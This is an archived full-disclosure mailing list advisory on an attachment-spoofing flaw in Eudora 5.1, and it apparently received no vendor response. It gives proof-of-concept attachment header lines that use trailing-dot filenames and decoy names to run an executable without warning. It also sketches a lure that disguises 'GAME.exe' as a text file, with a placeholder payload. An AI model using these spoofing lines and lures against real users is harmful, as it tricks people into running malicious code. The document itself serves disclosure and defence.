full-disclosure - Eudora attachment spoof

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From: psz at maths.usyd.edu.au (Paul Szabo)
Subject: Eudora attachment spoof

I found an "attachment spoof" vulnerability in Qualcomm Eudora 5.1; I only
verified this problem under Win2k Pro. This builds on a "feature" of Eudora
noted in http://online.securityfocus.com/archive/1/177369 .

Qualcomm was notified on 1 Aug 2002 but they did not respond.

---

(The lines with # been left for the benefit of Eudora users.)

A message may refer to attachments of other messages, or to any other file.
Works well: proper icon, warns "the file may contain programs" when run:
# Attachment Converted: "c:\winnt\system32\calc.exe"
Attachment Converted: "c:\winnt\system32\calc.exe"

Seems "dot bug" (filename ending with dot) is a general Windows feature.

Executes without warning (icon OK):
# Attachment Converted: "c:\winnt\system32\calc.exe."
Attachment Converted: "c:\winnt\system32\calc.exe."

Shows README.txt as attachment name, broken icon, executes without warning;
but if you already have a README.txt then shows its icon and "runs" that:
# Attachment Converted: "c:\winnt\system32\calc.exe." "\README.txt"
Attachment Converted: "c:\winnt\system32\calc.exe." "\README.txt"

In all cases, the true address is shown in bottom line of window.

As a matter of curiosity, Eudora goes "funny" with an unquoted '>':
# Attachment Converted: "c:\winnt\system32\calc.exe" > "\README.txt"
Attachment Converted: "c:\winnt\system32\calc.exe" > "\README.txt"
# Attachment Converted: "c:\winnt\system32\calc.exe" > "README.txt"
Attachment Converted: "c:\winnt\system32\calc.exe" > "README.txt"

My attachment directory is H:\Windows\.eudora\attach; is the default
setting "C:\Program Files\Qualcomm\Eudora\attach"? Can we find out the
recipient's settings (http://online.securityfocus.com/bid/1653 does not
work with Eudora 5.1)?

Suppose I send an attachment "GAME.exe", and hope the recipient does not
already have an attachment named "GAME.text", then may be able to entice
him to click and have the exe run: say something like what an interesting
game, and be sure to read the description even if you do not want to play:
# Attachment Converted: "h:\windows\.eudora\attach\GAME.exe." "\GAME.text"
Attachment Converted: "h:\windows\.eudora\attach\GAME.exe." "\GAME.text"
Also send the real attachment (should be encoded exe to take over the
world), e.g.
begin 700 GAME.exe
,1F]R(&9U;B!O;FQY
`
end

---

A curiosity: Eudora is happy to act on a message containing something like
<x-eudora-option:xyz=1> (you do not even need the leading '>', am not sure
about the trailing '>'). This requires user interaction, so it may not be a
security problem.

---

Eudora also has an "issue" with decodings and line termination. The
following message loses a trailing 'r':

perl -e 'print "Hello\nstranger\n"' | base64-encode

Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: base64

SGVsbG8Kc3RyYW5nZXIK

---

Paul Szabo - psz@...hs.usyd.edu.au  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia